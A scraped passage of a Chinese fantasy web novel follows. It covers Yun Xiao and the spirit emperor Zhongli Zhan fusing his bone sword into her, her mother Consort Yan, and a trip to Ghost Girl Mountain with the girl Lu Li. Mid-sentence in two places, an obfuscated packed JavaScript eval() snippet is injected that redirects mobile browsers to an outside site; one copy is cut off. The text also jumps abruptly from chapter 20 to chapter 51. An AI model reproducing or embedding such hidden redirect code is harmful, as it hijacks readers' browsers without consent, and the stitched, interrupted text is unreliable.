钟离湛张了张嘴刚要说她不用贴,便见少女抬起唇朝那有点妨碍视线的隐身符吹了一下,那双圆眼几乎斗到了一起,实在有些滑稽。 钟离湛:“……” 算了,就让她以为贴在额头上最有用吧,蛮有意思的。 没一会儿房门就被打开了,走在最前头的是逍遥王世子。 逍遥王因丧子之痛在皇宫里已经晕过一回了,现在能处理云宓的就只有世子。 世子带人推门而入,看见的便是云宓的尸体,她的身躯还是温热的,应当是才死不久,而现场没有任何挣扎和打斗得痕迹,一切就像是云宓畏罪自杀。 其实逍遥王府没那么快想要云宓死,因为云宓如若杀了周泉礼,不至于尖叫着让所有人知道她杀了人,但逍遥王府也没打算放过云宓,他们更想问清楚当时发生了什么。 云宓总不至于真的对周泉礼因爱生恨,杀了对方后又能果断殉情。 若真如此,她在秋水殿也不会大吵大闹,哭喊得声嘶力竭。 只是所有真相,似乎因为两个人一前一后的死亡,彻底被掩埋了。 - 出了逍遥王府,云绡就摘下了隐身符。 回去皇宫这一路仍然是大雨倾盆,她沿着街道两旁酒楼的屋檐下行走,偶尔遇见水洼便蹦跳地跨过去,看上去心情很不错。 钟离湛一直就在距离她十步远的地方,并未主动上前靠近。 他在观察她。 人在成神与成魔,只于一念之差间。 钟离湛不禁回想起自己当初第一次杀人的时候,那不算是一个难以抉择的过程,因为他遥遥看见了恶人的恶行,他心里有一杆称,知道世间不公,但他心有公正。 所以他拿起了剑,砍下了行凶者的头颅。 鲜血的味道不好闻,滚烫的泼在了他的手臂上,好似每一滴血都能灼烧皮肤。 他在被他救下的人眼中看见了畏惧与救赎,他们畏惧他能眼也不眨地杀死一个穷凶极恶之人,又倾慕于他的力量,感激他出手相助。 在这些眼神下,他手臂上的血也不再滚烫,他清醒地意识到他所处的世间善恶,公允,对错都因五族帝王乱世而失了秩序。 他要将心中的那杆称,抬到天地间,抬到苍生眼前。 从此以后,所有人的言行举止都受那杆称的衡量,有功赏之,有过罚之,有善从之,有恶杀之。 云绡不像钟离湛曾见过的其他任何人,有的人手刃仇人之后是痛快,仰天长笑,涕泪横流;有的人则是痛苦,因为自己的双手已经沾染鲜血再也不干净了;有的人因此性情大变。 云绡也不像他。 她好像将人杀了就杀了,对她的心性没有任何影响和变化。 雨小了许多,砸在屋檐上叮叮咚咚作响,云绡的身上其实已经湿透了,所以在见到雨小了很多之后她便没再藏在屋檐下。 回宫之路途径三桥,路过五色桥的时候钟离湛没忍住将目光朝那如白玉砌成的圆台上看去。 那方圆台并不大,只能背对背站下五个人,五色桥下的圆台本意就是要在圣仙节时,请五族的人上去载歌载舞,欢庆圣仙节。而跳舞都能胳膊碰胳膊,脚踩着脚的窄小的舞台,也寓意着五族不分彼此,亲近友好的关系。 钟离湛想起圣仙节那日他看见这方圆台上有人跳舞的画面,他有过一段天真的片刻以为五族在显帝的统治下和平共处,实际上除了人族与湖族之外,其他三族也难立身于天地之间。 钟离湛忽然发现,他已经很久没有跟着云绡的步伐往前走了,抬眸朝前看去,云绡就站在桥下,她也盯着那方圆台不知在想什么。 而后她朝圆台走去,一步步,最终站在了白玉台上。 湿漉漉的衣裳贴在纤瘦少女的身体上,她的身形并不曼妙婀娜,长期的饥饿让她的腰肢看上去好像随便一掐就能折断了。 云绡说,她天资聪颖,过目不忘。 她不是自夸。 钟离湛看见她缓缓抬起头,张开双臂,脚尖点地踩着节奏,几声鼓点之后身姿轻巧地跃起,橙色的衣裙像是一团在雨夜里燃烧的微弱火焰,骤然于钟离湛的眼前绽放。 她跳的是那天被押去青云司,路过五色桥时,恰好一名曦族少女上台跳的那场舞。 钟离湛从记忆里翻出来的照国某次欢庆之日的宫宴上,也有人这样跳过。 曦族的鼓点,曦族的舞步。 钟离湛想云绡杀人后也不是什么反应也没有的,她或许是脑子不太正常?宫里的那些人还不知要如何应对过去,她居然也能在这跳着雀跃的舞步。 可瞧着云绡摇曳灵动的舞姿,还有她明显高兴的表情,钟离湛终是什么也没说,只是双臂环抱,身子斜斜的带着几分慵懒地看着她。 雨夜,象征着五族和平的五色桥下,少女的面前仅有一位观众。 最后的旋转,云绡的裙袂飞扬,溅开的雨水因为旋转的力度从她身上如一粒粒透明的珍珠飞洒而出。 钟离湛伸手想要接住一滴,水珠穿掌而过,他微顿,摩挲着手指再抬头去看,对上的就是云绡那张灿烂的笑脸。 她笑得眉目飞扬,双手撑着膝盖用力地喘息着,似乎这一舞将她身体里所有的力量都燃烧殆尽。但钟离湛能看见的,是来自她灵魂深处源源不断,愈发旺盛的生命力。 “我跳得好看吗?”云绡笑喘着问他。 钟离湛其实已经很久没有眨眼了,她这么问,他就挪开目光道:“尚可。” 云绡不以为然:“我觉得曦族的舞就是最好看的。” “你很喜欢曦族的身份?”钟离湛问。 云绡理所应当地点头,她当然喜欢曦族的身份,她喜欢她自己,就喜欢自己的一切。 钟离湛其实有些想问她,明明曦族的身份从她出生以来就给她带来了很多麻烦,她不像云宓那样能遮掩自己的种族,她是实打实从小被欺负着长大的,身为曦族,也一定程度上火上浇油。 既然如此,她为何要喜欢? 但在对上云绡的眉眼时,他就不想问了,甚至心里有种她很有眼光的感觉,毕竟他们都是曦族的,曦族就是不错。 钟离湛到了嘴边的话,转而成了:“你之前说你对云宓下反咒是从孤这里学来的经验,此话怎说?” 云绡一愣,解释道:“野史说,曦帝后宫佳丽三千,其中不乏旖族女子,您懒得分清哪些是旖族的,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15385106|166931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对她们都下了反咒……” 实际上野史上说的是钟离湛那个时候已经疯得很严重了,疑神疑鬼,总觉得身边有人要害自己,不仅对他后宫的妃嫔们下了反咒,甚至还将她们一夜屠杀殆尽。 钟离湛听见云绡这么说,眼底的惊讶更浓。 他?后宫佳丽三千? 就算是野史也不能瞎写。 钟离湛自问在位期间为苍生百姓殚精竭虑,未曾顾及过儿女私情,又怎会有三千佳丽在后宫里,还、还因为害怕旖族女子而下反咒? 但凡他身边有点儿不对劲,他立刻就能发现,又怎会让旖族女子趁虚而入…… 但这些他也不知要如何向云绡解释,毕竟云绡也说了,那是野史。 片刻沉默,还是云绡率先打破。 她的气喘匀了,脸上的笑容也淡了下来,缓步从白玉台上走下。 云绡站在钟离湛的面前昂首看向他,从这个角度去看,她真的很弱小。 弱小的人,说出的话却很坚定真诚:“那天夜里在宫巷中,曦帝提过的话我之所以没有答应,不是因为您不肯教我您会的全部符咒阵法,而是因为我仇人未死,大仇未报,我不能将自己与您绑在一起,将您也束缚在这宫墙深院之中。” “我知道一旦将您的骨剑融入我的骨血中,我们便等同生死也绑在了一起,而在凌国我之生死其实与云宓并无差别,都是蝼蚁,只能任由他人揉捏。”云绡深吸一口气道:“能有曦帝庇护,的确很让我心动,可我也不能自私地不顾您的自由和生死,所以、所以……” 所以她胆大妄为,拒绝了他。 钟离湛明白了云绡的用意,她的确像她自己说的那样,只要留在凌国,留在京都,只要她还是十一公主,她就是个任人拿捏被他人掌握生死的蝼蚁。 掌握她生死的,不光是显帝,哪怕是任意一个皇子都能决定她未来的人生。 “你看不起孤?”钟离湛反问。 云绡惶恐:“怎敢?我永远是曦帝的信徒!” 钟离湛撇嘴:“既然如此,你怕甚?” 云绡的眼底露出了迷茫。 钟离湛又道:“若孤予你自由呢?你可够胆与孤共生?” 云绡眼底的迷茫因这句话散去,继而闪烁着耀眼的光泽,布满了惊喜与期待,她没说话,又像是说了很多。 钟离湛又眯起那双危险的狐狸眼,带着几分威胁道:“那就,不许再骗孤。” 云绡抿嘴笑了一下,重重地点了一下头。 得到她的回答,钟离湛才不禁叹了口气,他和云绡之间难道总是只能在深夜,在雨水中更加了解彼此吗? 钟离湛双臂张开,他缓缓弯腰,低下了自己的头,下巴磕在云绡的头顶,双臂收拢,将瘦小的身影彻底包裹起来,紧紧地搂入怀中。 钟离湛的气息拂在云绡的耳畔,他的声音也低哑了下来:“会有点痛,忍着点儿。” 云绡感受到脊骨处传来的温度,被她绑在背后的那把骨剑硌着皮肤和骨头,像是要硬生生地挤入她的身体里。 骨头与骨头摩擦的痛感很强烈,云绡不是不能忍受疼痛的人,可这个时候还是感受到了一股让她冷汗直冒的痛楚,像是将她的脊骨打碎又重合。 但比这股疼更强烈的是属于钟离湛的气息。 她以前只感受过他魂魄的温度,从未嗅到过他的气味。或许是他们的骨头相融,又或许是钟离湛这样抱着她,他的魂魄穿过了她的衣裳,像是皮肤贴着皮肤,所以那道气息才那么清晰。 与他魂魄的烫意不同,他的气味是清冽的木香味,让云绡误以为自己闯入古老的深林,卧在甘霖浇灌的巨叶之下沉眠。 20.第 20 章 钟离湛有些低估了自己魂魄的力量。 即便云绡的魂魄里有一道剑意,可要与和他骨头结合在一起的斩魂剑相融,还是让云绡不堪重负地昏倒在他的怀中。 钟离湛搂着云绡的腰,两掌就能将她握住。 他的骨剑并没有完全融入到云绡的身体里,还留有一截脊骨在外。 钟离湛握着那截骨头,犹豫了会儿才在云绡身上打量了两眼,想着用什么办法才能让她随身携带,最后目光落在她纤瘦的手指上。 手镯目标太大,素白的戒指应当不会太显眼。 一段淡金色的符咒凭空亮起,附着于脊骨之上,像是有锋利的刀剑打磨,火花四溅。 钟离湛两只捏着自己的脊骨,沉默地将这枚成色纯白的素戒戴在了云绡的中指上,而后将人打横抱起,大咧咧地朝皇宫方向走去。 若这深夜中有人出行,定能瞧见五色桥通往皇宫的主街上出现的诡异一幕——少女纤薄的身躯横在空中,发丝与裙摆摇曳,无风自动,缓缓朝皇宫的方向飘去。 钟离湛没将云绡带到她的“寝宫”里,只是将她带到宫门的地方,而后扶着她的身躯营造出一种她自己走回来的假象,再在有侍卫发现她的时候松手,让人躺在地上。 看着侍卫差人过来扶着云绡回去皇宫,钟离湛跟在她的身后,看向那并不高却像是能拦住一个人一生的宫墙,眨了一下眼。 多想就这样带云绡离开京都啊。 可他离开禁地前答应过他的信徒,会帮她杀了显帝,显帝没死,钟离湛暂且还不能离开。 - 云绡看见了许多火,熊熊大火将一片漆黑的宫殿照亮,满墙凌乱的符文,正在跳动的咒语,铁画银钩的字迹她似乎在哪里见过。 恍惚了一瞬云绡才想起来,这是钟离湛的字迹,她看过他画的符,认得他的字。 可那古老的字迹过于缭乱,而那压迫感十足的符文和咒语结合成了阵界,让她喘不过气来,更无法去辨别这些到底是什么。 那片火势很快便朝她烧了过来,云绡几乎能感受到皮肤被烧焦的痛楚,她的心跳在这一瞬像是停止了一样,迫切地喊出他的名字。 “钟离湛!!!” 一道银光闪过眼前,云绡抬头,看见了一把锋利的宝剑从高空坠落,朝着她的方向笔直刺来—— 那道银光有些耀眼,想象中的痛楚没有袭来,云绡皱了皱眉,再睁眼,入目所见的是熟悉的地方。 她的“寝宫”,那所简陋的小院里的小屋。 看来她回来了? 云绡本能地朝身上摸去,没摸到骨剑! 她心脏砰砰乱跳,低头一看发现自己的衣裳也换成了一套干净整洁的。骨剑不在,难道是被人夺走了?她究竟是为什么昏迷的? 钟离湛将骨剑融入她身体里的时候的确很疼,可那疼不是不能忍受,云绡忍受过更大的痛苦也没昏厥过,却不知昨夜怎么突然就失去了意识,后来发生了什么? 她猛地掀开被子起身,鞋也顾不上穿,披头散发地就朝屋外跑去。 云绡的心里闪过许多种念头,应对各种可能。 房门打开,真是近来难得的天晴,刺眼的阳光照入,云绡抬手眯起了眼睛,这道光就像是将她叫醒的那道,让她浑身不适。 光芒弱了几分,云绡也适应了,她抬头看去,便见到站在自己面前的高大男人。 钟离湛像是一只高傲的猫,被太阳晒得懒洋洋的,浑身透着一股慵懒又随意的气质,下巴微抬,狐狸眼睨着云绡看,微微挑眉问了句:“醒了?” 云绡松了口气,心落到了实处。 她习惯性地反手去摸自己的脊骨,没摸出什么特别的,反而是手指上多了一点东西,被她后知后觉地发现了。 云绡抬起手,迎着阳光看了一眼戴在中指上的戒指,问:“你的骨头?” 钟离湛嗯了声。 云绡又问:“剩下的骨头,都在我的身体里?” 钟离湛又嗯了声。 云绡再问:“怎么多了这一点?” 钟离湛撇嘴,他倒是想全都融进去,这不是小姑娘的身量实在不算高,他的骨头就算在她的身体里挤压着也超出了一截,再多出一截那她就得变成尾人族,多长出一条尾巴了。 “莫非你真的想变成兔子?” 云绡不明所以,昂着头,满脸写着疑惑。 钟离湛反倒是笑了一下,似是想到了什么画面,眨了眨眼有些可惜。 早知道就让她长条小尾巴了,应该也蛮好玩的。 云绡还是第一次看见钟离湛笑得这么灿烂,她不禁有些愣怔住,圆溜溜的眼睛睁得很大,眨也没眨,直勾勾地盯着钟离湛看。 钟离湛背对着太阳,阳光穿过了他的魂魄,像是将他整个人笼罩了一层光圈。 在禁地下,云绡其实借着微弱光芒看见了钟离湛的脸,他闭上眼睛的时候很有一股凌正之气,后来也看过他的魂魄,意外他有一双邪性的狐狸眼。 可其实云绡并没有在意过他的长相,至少以前看向钟离湛的每一次她脑海里想的都不是他这张脸,以至于她看得并不算仔细,也还是第一次发现,他很好看。 笑起来更好看。 剑眉飞鬓,眼尾上挑,一副恣意少年,凌然侠客的模样。 完全颠覆了云绡对他的印象。 所以他的威严都是装的?因为如若笑起来,他就不像个能掌管五族生死,凌驾于众生之上的帝王了? 云绡看了好一会儿,看到钟离湛都感觉有些尴尬,笑容收敛,觉得自己太给她好脸了。 他冷下一张脸,心里有些烦闷,恐怕这个时候再严肃云绡也未必会对他还如往日那般恭敬了。 但……他也不是非要她那么恭恭敬敬,只是别像现在这样,用一双好像看什么稀奇猴戏的眼神看着他就行。 看? 还看? 看不够吗? 钟离湛抬手按住了云绡的额头,将她的脸撇过去。 云绡被迫低下脑袋,揉着有些饿的肚子道:“去找吃的。” 钟离湛面上仍是一副威严冷淡的模样,心里:嗯嗯嗯,快去找吃的! 不过昨天抱着的时候他发现云绡其实也不是她看上去那么瘦,至少有些地方还是软乎乎,说明她身上有肉。 但这个年纪的小姑娘,多吃点是好事,得长身体啊。 可惜有人不让小姑娘长身体。 钟离湛跟着云绡才走出那扇破烂小门就被人喊住,明面上恭敬地称呼云绡“十一殿下”的大宫女脸上并没有多少敬意,冷着一张脸道:“妍妃请您过去。” 云绡本来的好心情因为见到这个人,又听到了这句话而荡然无存。 钟离湛还是第一次从她身上如此直观地感受到“厌恶”的气息,便是她对周泉礼和云宓那两个死人也没有厌恶,在云绡的眼里那两个就是蠢的。 周泉礼又蠢又坏,她当他是疯狗。 云宓又蠢又会装可怜,她当她是戏子。 云绡的心里,其实一直将这两人当成笑话来看。 但妍妃显然不在蠢货行列,云绡对她过于在意了些,以至于她跟大宫女身后一路往沉银宫而去的途中脸色都很难看,沉默得让人看不穿。 钟离湛微微蹙眉,问:“这个妍妃也是显帝的妃子?” “嗯。”云绡轻声嗯了声。 走在前头的大宫女闻声回头看了一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说她是个妖媚女人一点儿也不为过,因为她身姿婀娜,前凸后翘,盘发簪花,露出的纤长的脖子有一朵盛放的牡丹花。 实际上云绡看见过,她浑身上下都有牡丹花,是那个男人的恶趣味。因为女人足够美艳,便是满身牡丹刺青也无法遮掩她的美貌,让人忍不住想要摧残蹂躏,而她却乐在其中。 钟离湛在看见这个女人的时候就有些怔住了。 他的目光带着几分探究地落在云绡身上,云绡没看他,可能是不敢看,又或是无所谓他如何。 在面对女人时,云绡仍然是那一副冷淡模样。 女人道:“你倒是好本事,居然能请动仲卿仙师为你说话,说说吧,你何时搭上仲卿仙师这条船的?有这么硬的关系,怎不知为你母妃着想?” 云绡不动,不言,不看她。 妍妃眉头微皱,冷哼一声:“这就是你对母妃的态度?我好歹是你的娘亲啊,云绡,娘好,不就是你好?” 此话一出,钟离湛便确认了。 眼前的女人的确是云绡的生母,在她出来的那一瞬钟离湛便察觉到对方曦族的血脉,她与云绡在相貌上也有三分相似,唇与鼻很像,但眼睛不像。 女人的眼若桃花,云绡的眼更纯澈更圆润,所以钟离湛想着,或许她们只是有些许血缘关系。 可她居然真的是云绡的亲生母亲?! 钟离湛沉默很久,他甚至气得有些笑不出来。 因为貌美而被剥皮?当着她的面被制成了人皮鼓?自幼丧母所以才被宫人欺凌? 钟离湛几乎咬牙切齿:“你嘴里还有一句真话吗?” 云绡终于动了。 她朝他看去,眼神坦然,像是再说:即便现在你后悔和我绑在一起,也来不及咯。 50-60 第51章 云绡仔细看了一眼那个小姑娘,眉心蹙起:“旖族女?” “旖族……竟还有女子?!” 这一声是仲卿震惊发出来的. 他趴在马背上,一时半会儿没喘匀气息,但在说出这话后见云绡的脸色镇定,心也慢慢沉了下去。 自五帝被斩,五族统一,钟离湛那杀神称帝之后便有明令禁止,凡是与旖族男子通婚的女子在怀孕期间都得去指定医馆查明腹中孩子是男是女,为男则可生,为女则赐药。 即便钟离湛死后照国覆灭直至而今凌国也一直延续此法,所以旖族领地如今早已四分五裂,连个掌管族内像样的长老也没有,只有各家氏族占领城池,管好自己的一亩三分地。 旖族只生男不生女的情况,致使如今旖族境内的其他族人可能比京都的还要多,各族混住在一起,方才被徐容靳驱赶的野兽也未必不是生活在旖族境内的尾人所为。 仲卿平复呼吸,再问云绡:“十一殿下知道旖族还有女子?你是怎么认出她的?” 钟离湛的模糊记忆里有过自己下令的印象,只是彼时执行并不十分严厉,但后续历史中的记载是他屠戮旖族所有女子。 既然有屠戮所有旖族女子之说,便代表后来的旖族女子如凤毛麟角,应当少之又少才是。 故而钟离湛在知道云宓是旖族女子,甚至还是宫中公主之时,他也有些惊讶,惊讶于人族的皇帝胆子不小,敢纳旖族女子为妃。 不过后来从云绡和云宓的对话中他也知道,显帝并不知道云宓母妃是旖族女子,即便知道,以他那从未爱过任何人的性子来看,他也不会受旖族女子影响就是了。 云绡面对仲卿的疑惑,也朝钟离湛看去。 钟离湛朝那趴在马背上奄奄一息的小姑娘看去一眼道:“旖族的血液里赋咒,嗅起来与他人不同。” 云绡便故作深沉道:“她血里带咒,我一眼就能看出来了。” 仲卿:“……” 他瞥了一眼云绡身边,微微挑眉:你猜我信不信? 云绡无所谓他信不信,耸肩问钟离湛:“旖族的女孩儿啊,你要救吗?” 钟离湛沉默了片刻,突然问:“这里是否靠近锦仙山?” “锦仙山?那是什么地方?”云绡在凌国地图内并未见过这座山。 反倒是仲卿眉目微动,意外地朝云绡看去,伸手指向靠近西南的一个方向道:“看见那座山了吗?” 云绡顺着他手指的方向看去,眯着眼睛过了好一会儿才反应过来,无比震惊地瞪大眼睛:“雪、雪山?!” 此地位于凌国中段,不南不北,气候宜人,冬季会落雪但不会过冷,夏季出烈阳也不会过热,这种地界怎么会有雪山? 那雪山距离他们至少数百里以外,山川极高,因为通体雪白,在阳光下几乎与苍天白云融为一体,若不是仲卿指给她看,云绡根本不会注意到那里居然还有一座山。 还是一座……怪异的雪山! “你看过凌国的地图吧?必然也知道旖族地界内有一座山叫鬼女山。”仲卿捏着胡子道:“鬼女山曾经就叫锦仙山。” 云绡知道鬼女山,那是因为传说中那座山脚下是埋旖族女子尸体的地方,记载中那座山一年四季都寒风阵阵,极阴极冷。 从照国时期,旖族便有明令不得生女,彼时照国出钱出人出药,只要查出肚腹中的孩子为女,便有国库出资以绝后患。 此法虽延续至今,可凌国并未有此支出,寻常的旖族人并不会花钱去看怀的是男是女,只要生下来的是女儿,便将婴孩埋在鬼女山下。 据说那里枉死的女孩儿太多,致使阴风寒意不断,所以才会叫鬼女山。 却没想到阴风寒气,原来是因为它是一座雪山。 仲卿年纪大,知道的也多些,便将鬼女山的由来说给云绡听,云绡听说锦仙山这样秀丽的名字改成叫鬼女山,是因为山下埋了无数旖族女的尸骨时,不禁打了个寒颤。 云绡看向钟离湛,问他:“你问锦仙山是要做什么?” 钟离湛眸光微沉,他在思索于他记忆之中锦仙山是雪山吗?好似……不是。 两千余年,足以让一座正常的山变成雪山吗?还是说,将那里变成雪山的另有其人? 钟离湛道:“带这个孩子去锦仙山。” 云绡瞪大双眼,惊异地拉过钟离湛的袖子,转身压低声音问他:“你不打算当菩萨啦?跑几百里埋人?你现在把她就丢这儿,她恐怕很快就会死了的。” 钟离湛伸手弹了一下她的额头“你胡思乱想什么?我何至于真成杀神?” 在云绡疑惑的目光中,钟离湛解释道:“先救活她吧,终归是被生下来,没有这个时候抹杀的道理。至于去锦仙山……我在那里找到过与朱木简相关之蛛丝马迹,但那段记忆模糊了,所以好奇,想趁着这个机会一探究竟。” 左右也不过几百里地。 提起朱木简,云绡也有些意动,她没问钟离湛,既然是找与朱木简相关之蛛丝马迹,又为何要将这小姑娘带过去? 左右钟离湛不会害她,若真有原因,到了地方他也会说给自己听。 钟离湛说要去鬼女山,云绡便改了路线,而他们这一行人中只要云绡答应了,那里就是他们下一个目的地。 仲卿是有些微词的,但他还被架在徐容靳的马背上。 这个时候他倒是有心思问徐容靳:“大哥和你娘,你选哪一个?” 徐容靳平日里很黏他这个“大哥”,对于云绡这个娘是尊敬,对于钟离湛那个爹更是畏惧,仲卿还以为自己至少能得徐容靳一票。 结果徐容靳道:“大哥要听爹娘话,这才是乖孩子。” 他氏族大家教养出来的“父亲、母亲”之称随着和仲卿相处久了之后被带成了“爹、娘”,可大哥终究是大哥,他也是爹娘的孩子啊,自然要听爹娘话。 仲卿捂着心口深深喘气,心想罢了,自己这一把老骨头还有几天活头? 去!冻不死就跟着一起去! - 鬼女山看着好像离得不远,可几百里路他们骑马也依旧要走好几天。 那个旖族女孩儿身上伤得实在太重,即便有云绡施符咒给她治疗,她也沉睡了足足两天。 靠近鬼女山的地方人烟便越发稀少,眼下还是盛暑季节,可天一黑下来便冷风阵阵,入夜更是寒凉。 徐容靳平日里很爱干净,今天闻起来却臭臭的。 偏偏他还喜欢粘着仲卿,仲卿立刻问他是不是如厕弄到身上了,徐容靳连连摆手,展开自己的衣裳给仲卿看。 ……好家伙,云绡多日前留给他当食物的野鸡蛋他一个也没吃,全留着,今日不小心弄破了一个黏糊糊地糊了一身,到了晚上就发臭了。 云绡语塞,吼着让对方交出来,徐容靳不情不愿地交出大半,自己就留下了两颗。 云绡现在对于徐容靳这个人高马大的傻大个叫她娘已经彻底免疫了,从徐容靳那里拿来了六颗鸡蛋,云绡道:“我四,你大哥二,你今晚没有!” 正在看着烤兔肉的仲卿:“……” 徐容靳扁了扁嘴,扭扭捏捏地问云绡:“娘,妹妹有没有吃?” 云绡:“???” 找到机会唇齿反击的仲卿:“哟,你娘和你爹给你生妹妹啦?” 正在一树紫藤花下抱臂的钟离湛:“……” 云绡不自然地朝钟离湛看去。 钟离湛此刻站在火光照不见的地方,头顶上一大片的紫藤花倒是在火光中鲜艳地绽放着,馥郁的花香味被夜风吹来,簌簌掉落的花瓣穿过钟离湛的魂魄,像是独独为他下了一场花雨。 他抬眸朝云绡那边瞥了一眼,狐狸眼弯弯,唇角微扬,想看看云绡会怎么回答。 云绡将手中破烂的鸡蛋壳朝仲卿的头上扔过去,仲卿嘿了一声,很不满她这行为。 云绡心想她没扔刀子也是看仲卿年迈没几年好活的面子上了。 再对徐容靳道:“你不是还剩两个?给你妹妹吃。” 徐容靳握紧手中的野鸡蛋,小声道:“能孵小鸡的,娘。” 云绡才不管徐容靳手里的鸡蛋能不能孵小鸡,给野鸡蛋外皮裹上泥之后丢进火堆里她就没管了。等到时间差不多,野兔肉还没好,但鸡蛋烤好了,云绡先将鸡蛋掏出来分了。 徐容靳也是这个时候发现妹妹醒了的。 小姑娘迷迷糊糊地坐起,看见一簇火光后惊了一瞬,再看见徐容靳那张挤着笑容的脸凑上来,吓得她险些再昏死过去。 不过她记得这张脸,她在快要被那些野兽咬死的时候,便是被这个人给救了。 小姑娘从小的经历让她心智比同龄人要成熟许多,短短两息时间她就知道自己没死,眼前这骇人的人是她的救命恩人,她也没顾身上的伤,翻身跪在徐容靳的跟前直磕头。 徐容靳本来还有些难过妹妹害怕他,这么多天下来他也知道自己长得很丑很吓人……可妹妹突然给他磕头,说谢谢他。 徐容靳无措了,那么大个人,坐下来都像一座小山,却突然慌张地扬声喊:“娘~爹~大哥~” 云绡没反应,仲卿突然停下吃鸡蛋的动作,急忙朝徐容靳看去。 仲卿:……我恨这该死的条件反射! - “妹妹,你快坐好。”徐容靳说话慢吞吞的,指引着旖族小姑娘在火堆边上坐下,又可怜巴巴地朝大哥讨了颗鸡蛋给小姑娘。 小姑娘怯怯地看向仲卿和徐容靳,还有云绡。 三个人中,明显云绡年龄最小看上去最无害,可因为旖族女子特别容易感知他人对自己的观感,她立刻就摸准了这三个人中最好相处的,其实是看上去最吓人的徐容靳。 小姑娘没吃鸡蛋,先对这几个救了她的人表示感谢,而后介绍自己是谁。 “我叫陆梨,今年九岁。” 陆梨三言两语解释了自己的身份,也并未隐瞒她是旖族女的真相。 她是盐河人,父亲是旖族人,母亲是尾人族的,父母结合之后便怀了七次。她的家境不错,最开始母亲怀孕都会去医馆查明怀的是男孩还是女孩,三次都被告知是女孩儿,并且用药停胎了之后,她的父母便有些阴沉了。 他们怀疑其实母亲怀过男孩,只是医馆不愿意冒半点风险,故而不论她母亲怀男还是怀女,都说是怀了女孩儿。 第四胎时她的母亲没去医馆,在家中产下一女,又连夜送了出去。 第五胎亦是如此,第六胎仍然是女孩儿,她们只有一个结局。 陆梨是第七胎,她也是个女孩儿,可她母亲生她之后被大夫告知今后可能再难生育了,陆梨便被破例留了下来,没如她前头几个姐姐一样被送走。 说是送走,便是溺死,埋死,又或是其他各种方式死去罢了。 陆梨的母亲似乎已经放弃了生男孩,她的身体逐渐好转,偏偏去年又怀上了一胎,这一次生下的是个男孩儿。 千求万盼得来的男孩儿,一瞬就成了悬在陆梨脖子上的刀。 她是旖族女,传说中旖族的女子会吸食身边所有爱她的,欣赏她的,或对她好之人的气运转为自身运道。换而言之……她是天煞孤星,她会害了自家人。 父母不担心被她害,他们也从未对她好过,他们怕的是那个刚诞生的男孩儿会被她诓骗,被她攀缠。 所以她的母亲要杀了她。 她的母亲是尾人族的,她假意说不忍杀她,所以给了她攀缠放她走,可当她远离人群之后便有一群野兽追逐而来,誓要将她吞没。 第52章 陆梨说起这些已经并不难过了,小小孩童的身躯里拥有比她外在看上去庞然数十倍的坚韧。 她道:“我本来不打算往这边走的,不过那些野兽追了我很久,我迷失了方向,为了逃命也顾不得前路,所以就逃到这边来了。” 仲卿问陆梨:“你说你原先是有去处的,你打算去哪儿?” 陆梨道:“鬼女山。” 仲卿怔住,问:“你想去那里赴死?” 可不该啊,一个不愿意死在野兽口中,多次挣脱求生的女孩儿,又怎么会千里迢迢跑去鬼女山求死呢? 陆梨认真道:“我听人说,鬼女山上其实并没有鬼,那里反而住了神女。我们旖族的女子只要得到神女的认可,就能住进鬼女山中,在那里没有人会害我们,也没有人会避我们如蛇蝎。” 陆梨提起鬼女山,眼神中满是向往。 本来一直安静吃烤兔的云绡听见这话,终于有了反应。 她抬起头朝陆梨看去,双眸中的火光跳跃着,掩藏了她在这一瞬想到某些事后的情绪。 手里的野兔实在吃不下,云绡扔掉骨头后朝山林里的另一个方向走,那里有条小溪,环境幽静,野兔也是在那溪边清理的。 云绡走时与钟离湛擦身而过,看也没看他一眼。 钟离湛微微挑眉,眼露不解,他见云绡的脸色似乎有些凝重,还未等他反应拉扯感突然袭来,便是不想跟上也得跟上。 - 此山不高,小溪不知水源何处,蜿蜒而下,水面上漂浮着各种花瓣,姹紫嫣红的在月色下顺水翩跹,煞是好看。 云绡走到水边洗了脸,水面上只倒映了她的影子,但她能看见钟离湛的衣袂,她知道他就站在她身边。 双手还浸泡在水中,云绡觉得自己的心绪越发凌乱了。 她原本还没反应过来,锦仙山后来改名为鬼女山,她当这只是一个旖族境内的山川…… 可在陆梨说起鬼女山的事迹之后,云绡突然就想起来,她其实对这座山是有印象的。只是这的印象并不是因为这座山为旖族女子的埋骨处,而是因为历史中提起此山,说的是这是杀神钟离湛的后宫花园。 历史上的杀神,曾收旖族女子三千名充裕后宫。 还有野史说他可以一夜绽放三千娇花……自然,那是酸书生在花街柳巷里写下来的旖 旎话本,可正史上提及钟离湛收容旖族女子为后宫妃嫔却不是假的。 史册中还提起,钟离湛疯病加重后,担心后宫里的旖族女子会害了自己,便将那些女子的头颅全都砍下来装酒,夜夜笙歌。 这些正史也好,野史也罢,云绡在认识钟离湛之后便将眼前的他与史册记载里的他彻底划分开了,毕竟杀神也不是杀神,而是真菩萨。 可突然史册中记载的某一处与当下现实重叠,云绡难免会将他与历史中的记载融合。 史册中并未提起锦仙山和鬼女山,可有提过钟离湛的后宫花园,那是一座钟灵毓秀的山峰,四季如画,群花结簇。史册中记载钟离湛喜新厌旧,杀了后宫里的三千旖族女子后,又好旖族女子颜色,爱上一名姿容出众的旖族女子捧成了神女,养在山中。 钟离湛后来还多次去过那座山,那座山上的神女让他心神向往,而山中的旖族女子都是神女为他收容的后宫。只要得到神女的首肯,旖族女子再也不用担心自己意外诞生后又被抹杀,她们都是钟离湛的爱妃美人,有曦帝庇护。 有那么一瞬,云绡觉得自己突然想明白为何钟离湛会说要去一趟鬼女山了,真是因为朱木简?若真是完全因为朱木简,那带上陆梨的意义就不大…… 